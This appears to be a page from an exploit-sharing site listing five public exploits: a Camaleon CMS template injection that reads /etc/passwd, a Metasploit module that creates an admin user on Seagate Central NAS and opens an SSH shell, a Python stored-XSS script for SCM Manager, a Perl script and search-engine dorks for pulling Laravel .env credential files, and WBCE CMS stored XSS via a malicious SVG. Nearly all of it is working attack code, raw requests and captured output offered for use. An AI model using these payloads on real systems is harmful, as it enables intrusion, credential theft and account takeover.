Latest exploits :: CodePwn

<pre><code>Exploit Title: Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) Exploit Author: PARAG BAGUL CVE: CVE-2023-30145 ## Description Camaleon CMS v2.7.0 was discovered to contain a Server-Side Template Injection (SSTI) vulnerability via the formats parameter. ## Affected Component All versions below 2.7.0 are affected. ## Author Parag Bagul ## Steps to Reproduce 1. Open the target URL: `https://target.com/admin/media/upload` 2. Upload any file and intercept the request. 3. In the `formats` parameter value, add the payload `test<%= 7*7 %>test`. 4. Check the response. It should return the multiplication of 77 with the message "File format not allowed (dqopi49vuuvm)". ##Detection: #Request: POST /admin/media/upload?actions=false HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target.com/admin/profile/edit X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------327175120238370517612522354688 Content-Length: 1200 Origin: http://target.com DNT: 1 Connection: close Cookie: cookie -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="file_upload"; filename="test.txt" Content-Type: text/plain test -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="versions" -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="thumb_size" -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="formats" test<%= 7*7 %>test -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="media_formats" image -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="dimension" -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="private" -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="folder" / -----------------------------327175120238370517612522354688 Content-Disposition: form-data; name="skip_auto_crop" true -----------------------------327175120238370517612522354688-- #Response: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK Cache-Control: max-age=0, private, must-revalidate Set-Cookie: cookie Content-Length: 41 File format not allowed (test49test) #Exploitation: To execute a command, add the following payload: testqopi<%= File.open('/etc/passwd').read %>fdtest Request: POST /admin/media/upload?actions=true HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target.com/admin/media X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------104219633614133026962934729021 Content-Length: 1237 Origin: http://target.com DNT: 1 Connection: close Cookie: cookie -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="file_upload"; filename="test.txt" Content-Type: text/plain test -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="versions" -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="thumb_size" -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="formats" dqopi<%= File.open('/etc/passwd').read %>fdfdsf -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="media_formats" -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="dimension" -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="private" -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="folder" / -----------------------------104219633614133026962934729021 Content-Disposition: form-data; name="skip_auto_crop" true -----------------------------104219633614133026962934729021-- Response: Response: HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK Set-Cookie: cookie Content-Length: 1816 File format not allowed (dqopiroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin fdfdsf) </code></pre>

<pre><code>## # Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit) # Date: Dec 9 2019 # Exploit Author: Ege Balci # Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/ # Version: 2015.0916 # CVE : 2020-6627 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/http' require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Seagate Central External NAS Arbitrary User Creation", 'Description' => %q{ This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device. Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state and register a new admin user which is capable of SSH access. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı <egebalci@pm.me>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'], ['CVE', '2020-6627'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5, }, 'Platform' => ['unix'], 'Arch' => [ARCH_CMD], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ ['Auto', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ], ], 'Privileged' => true, 'DisclosureDate' => "Dec 9 2019", 'DefaultTarget' => 0 )) register_options( [ OptString.new('USER', [ true, 'Seagate Central SSH user', '']), OptString.new('PASS', [ true, 'Seagate Central SSH user password', '']) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } },60) if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916') Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit # First get current state first_state=get_state() if first_state print_status("Current device state: #{first_state['state']}") else return end if first_state['state'] != 'start' # Set new start state first_state['state'] = 'start' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "info=#{first_state.to_json}" },60) changed_state=get_state() if changed_state && changed_state['state'] == 'start' print_good("State successfully changed !") else print_error("Could not change device state") return end end name = Rex::Text.rand_name_male user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}" pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8) print_status('Creating new admin user...') print_status("User: #{user}") print_status("Pass: #{pass}") # Add new admin user res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"), 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1} },60) conn = do_login(user,pass) if conn print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") handler(conn.lsock) end end def do_login(user, pass) factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => 22, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError fail_with Failure::Unreachable, 'Connection failed' rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh conn = Net::SSH::CommandStream.new(ssh) ssh = nil return conn end return nil end def get_state res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } },60) if res && (res.code == 200 ||res.code == 100) return res.get_json_document end res = nil end end </code></pre>

<pre><code>#!/usr/bin/python3 # Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) # Google Dork: intitle:"SCM Manager" intext:1.60 # Date: 05-25-2023 # Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829) # Vendor Homepage: https://scm-manager.org/ # Software Link: https://scm-manager.org/docs/1.x/en/getting-started/ # Version: 1.2 <= 1.60 # Tested on: Debian based # CVE: CVE-2023-33829 # Modules import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={ 'username': user, # change if you have any other user with write permissions 'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200: print("[+] Authentication successfully") else: print("[-] Failed to authenticate") sys.exit(1) new_user={ "name": "newUser", "displayName": "<img src=x onerror=alert('XSS')>", "mail": "", "password": "", "admin": False, "active": True, "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={ "name": "newGroup", "description": "<img src=x onerror=alert('XSS')>", "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={ "name": "newRepo", "type": "svn", "contact": "", "description": "<img src=x onerror=alert('XSS')>", "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created") </code></pre>

<pre><code>==================================================================================================================================== | # Title : Laravel 10.11 Information Disclosure MySQL Credential Disclosure Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) | | # Vendor : https://laravel.com/ | | # Dork : db_password filetype:env | "Whoops! There was an error." | ==================================================================================================================================== note : [+] 1 : Laravel's default .env file contains some common configuration values that may differ based on whether your application is running locally or on a production web server. These values are then retrieved from various Laravel configuration files within the config directory using Laravel's env function. [+] 2 : This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc [+] Poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : /.env = ( Depending on the server's protection, the result of viewing the file is either direct viewing or downloading the file Or not give you anything ) [+] https://127.0.0.1/lala/.env ==================================================================================================================================== | # Title : Laravel 10.11 sensitive information disclosure Vulnerability | ==================================================================================================================================== poc : [+] This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc [+] Dorking İn Google Or Other Search Enggine . [+] https://127.0.0.1/lalaland/categorie/avant_apres/ [+] https://youtu.be/tz_w563Nyac ==================================================================================================================================== | # Title : Laravel 10.11 Database Disclosure Exploit | ==================================================================================================================================== poc : [-] Download the configuration file: The following Perl exploit will attempt to download the .env file The .env file contains some common configuration values and connection information to the script database Through the code you can control where to save the downloaded file . [+] Dorking İn Google Or Other Search Enggine. [+] save code as perl file : poc.pl [+] code : #!/usr/bin/perl -w # Author : indoushka use LWP::Simple; use LWP::UserAgent; system('cls'); print "\n[+] Laravel from Version 1.0 to 9.47.0 Database Disclosure [+] \n\n"; system('color a'); if(@ARGV < 2) { print "[+] Author : indoushka \n\n"; print "[-] How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/.env \n"; print "[+] usage2 : perl $0 localhost /.env \n"; } ($TargetIP, $path, $File,) = @ARGV; $File=".env"; my $url = "http://" . $TargetIP . $path . $File; print "\n Fuck you wait!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/.env"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/.env\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* | ======================================================================================================================================= </code></pre>

<pre><code>Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS) Version: 1.6.1 Bugs: XSS Technology: PHP Vendor URL: https://wbce-cms.org/ Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1 Date of found: 03-05-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== ###XSS-1### steps: 1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/) 2. upload malicious svg file svg file content ===> <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> poc request: POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1 Host: localhost Content-Length: 976 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-platform: "Linux" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167 Connection: close ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="reqid" 187de34ea92ac ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> ------WebKitFormBoundary5u4r3pOGl4EnuBtO Content-Disposition: form-data; name="mtime[]" 1683056102 ------WebKitFormBoundary5u4r3pOGl4EnuBtO-- 3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg) ======================================================================================================================== ###XSS-2### 1. go to pages (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages) 2. add page 3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E) payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E poc request: POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1 Host: localhost Content-Length: 143 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475 Connection: close page_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save 4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php </code></pre>